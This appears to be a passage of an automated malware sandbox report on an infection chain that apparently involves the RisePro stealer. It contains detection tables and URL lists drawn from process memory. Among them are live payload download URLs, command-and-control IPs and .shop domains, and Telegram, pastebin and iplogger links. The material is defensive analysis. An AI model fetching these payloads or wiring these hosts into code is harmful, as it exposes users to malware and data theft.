C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	44%	Virustotal		Browse
C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	44%	Virustotal		Browse
C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	42%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	37%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	44%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	91%	ReversingLabs	Win32.Trojan.Malgent
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	85%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	58%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://trade-inmyus.com/index.php	0%	URL Reputation	safe
http://trade-inmyus.com/index.php	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://trad-einmyus.com/index.php	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://tradein-myus.com/index.php	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
pillowbrocccolipe.shop	0%	Avira URL Cloud	safe
https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exev	0%	Avira URL Cloud	safe
https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exe	0%	Avira URL Cloud	safe
https://youtube.comVISITOR_INFO1_LIVE/	0%	Avira URL Cloud	safe
185.215.113.67:26260	100%	Avira URL Cloud	malware
https://youtube.comVISITOR_PRIVACY_METADATAv10	0%	Avira URL Cloud	safe
http://185.172.128.150/c698e1bc8a2f5e6d.php	0%	Avira URL Cloud	safe
cleartotalfisherwo.shop	0%	Avira URL Cloud	safe
185.215.113.67:26260	16%	Virustotal		Browse
http://193.233.132.56/cost/lenin.exe1	0%	Avira URL Cloud	safe
pillowbrocccolipe.shop	18%	Virustotal		Browse
cleartotalfisherwo.shop	18%	Virustotal		Browse
communicationgenerwo.shop	0%	Avira URL Cloud	safe
https://affordcharmcropwo.shop/d	0%	Avira URL Cloud	safe
http://193.233.132.56/cost/lenin.exe;x	0%	Avira URL Cloud	safe
http://193.233.132.56/cost/go.exe4x	0%	Avira URL Cloud	safe
http://185.172.128.150/c698e1bc8a2f5e6d.php	20%	Virustotal		Browse
https://affordcharmcropwo.shop/z	0%	Avira URL Cloud	safe
https://affordcharmcropwo.shop/d	10%	Virustotal		Browse
worryfillvolcawoi.shop	0%	Avira URL Cloud	safe
https://youtube.comYSC/)?	0%	Avira URL Cloud	safe
diskretainvigorousiw.shop	0%	Avira URL Cloud	safe
https://junglethomas.com/	0%	Avira URL Cloud	safe
http://147.45.47.102:57893/hera/amadka.exe	100%	Avira URL Cloud	malware
worryfillvolcawoi.shop	18%	Virustotal		Browse
https://affordcharmcropwo.shop/z	13%	Virustotal		Browse
http://147.45.47.102:57893/hera/amadka.exer.dbl	0%	Avira URL Cloud	safe
http://193.233.132.56/cost/lenin.exe1	22%	Virustotal		Browse
http://193.233.132.56/cost/go.exehCorel.ba	0%	Avira URL Cloud	safe
https://affordcharmcropwo.shop/apitemb	0%	Avira URL Cloud	safe
diskretainvigorousiw.shop	18%	Virustotal		Browse
http://193.233.132.56/cost/go.exe	0%	Avira URL Cloud	safe
affordcharmcropwo.shop	0%	Avira URL Cloud	safe
communicationgenerwo.shop	17%	Virustotal		Browse
https://youtube.comVISITOR_PRIVACY_METADATA/(9	0%	Avira URL Cloud	safe
http://147.45.47.102:57893/hera/amadka.exe	20%	Virustotal		Browse
http://193.233.132.56/cost/lenin.exew.s	0%	Avira URL Cloud	safe
http://193.233.132.56/cost/lenin.exea.exe68.0l	0%	Avira URL Cloud	safe
https://junglethomas.com/	12%	Virustotal		Browse
http://193.233.132.56/cost/go.exe	25%	Virustotal		Browse
http://193.233.132.56/cost/go.exemadka.ex	0%	Avira URL Cloud	safe
affordcharmcropwo.shop	17%	Virustotal		Browse
https://youtube.comYSCv10	0%	Avira URL Cloud	safe
https://accounts.googl	0%	Avira URL Cloud	safe
https://affordcharmcropwo.shop:443/apiNAME=userUSERPROFILE=C:	0%	Avira URL Cloud	safe
https://youtube.comVISITOR_INFO1_LIVEv10%	0%	Avira URL Cloud	safe
enthusiasimtitleow.shop	0%	Avira URL Cloud	safe
http://193.233.132.56/cost/go.exemadka.ex	22%	Virustotal		Browse
https://affordcharmcropwo.shop/api	0%	Avira URL Cloud	safe
http://147.45.47.102:57893/hera/amadka.exe.lv	0%	Avira URL Cloud	safe
enthusiasimtitleow.shop	17%	Virustotal		Browse
https://affordcharmcropwo.shop/api	22%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://trade-inmyus.com/index.php	true	URL Reputation: safe URL Reputation: safe	unknown
pillowbrocccolipe.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
185.215.113.67:26260	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.150/c698e1bc8a2f5e6d.php	true	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
cleartotalfisherwo.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://trad-einmyus.com/index.php	true	URL Reputation: safe	unknown
communicationgenerwo.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
worryfillvolcawoi.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
diskretainvigorousiw.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tradein-myus.com/index.php	true	URL Reputation: safe	unknown
affordcharmcropwo.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
enthusiasimtitleow.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exev	NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762501264.0000000001441000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORTo5#	RageMP131.exe, 0000002E.00000002.2637513543.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.104	d361f35322.exe, 00000009.00000002.3073575028.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001429000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000139F000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.1042	d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.1045	MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exe	NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001E.00000002.2315360912.000001D42EE5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORTI	d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.comVISITOR_INFO1_LIVE/	MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://youtube.comVISITOR_PRIVACY_METADATAv10	u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://ipinfo.io:443/widget/demo/81.181.54.1048	MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/cost/lenin.exe1	RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001E.00000002.2095956248.000001D41EDE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.104	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000140C000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D420547000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	jok.exe, 00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/account/v/	MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.000000000144A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.51.dr	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://db-ip.com:443/demo/home.php?s=81.181.54.104	MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
https://affordcharmcropwo.shop/d	RegAsm.exe, 0000001D.00000002.2273817779.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	d361f35322.exe, 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, MPGPH131.exe, 0000001B.00000003.2069728672.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3349331204.0000000000701000.00000040.00000001.01000000.00000012.sdmp, MPGPH131.exe, 0000001C.00000003.2070120899.0000000005180000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2021888097.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3072062602.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000003.2138214229.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2634123106.0000000000891000.00000040.00000001.01000000.0000001B.sdmp	false		high
http://193.233.132.56/cost/lenin.exe;x	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/cost/go.exe4x	d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	d361f35322.exe, 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000002.3073575028.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.00000000013ED000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://affordcharmcropwo.shop/z	RegAsm.exe, 0000001D.00000002.2273817779.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/account	d361f35322.exe, 00000009.00000003.2912274365.0000000007DC2000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7189686015.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320418390.000000000336C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320275710.0000000003355000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320347999.0000000003358000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7258589510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7259110109.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7189145681.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3205947734.0000000007CEB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828616710.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826400120.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840128095.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2832748402.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2836881277.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2873758197.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840628725.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2830540798.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/accountkO	MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yip.su/RNWPd.exeChttps://pastebin.com/raw/E0rY26ni5https://iplogger.com/1lyxz	file300un.exe, 00000032.00000002.7140120246.000001F380091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/	RageMP131.exe, 0000002E.00000002.2637513543.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botrisepro4.104	MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	false		high
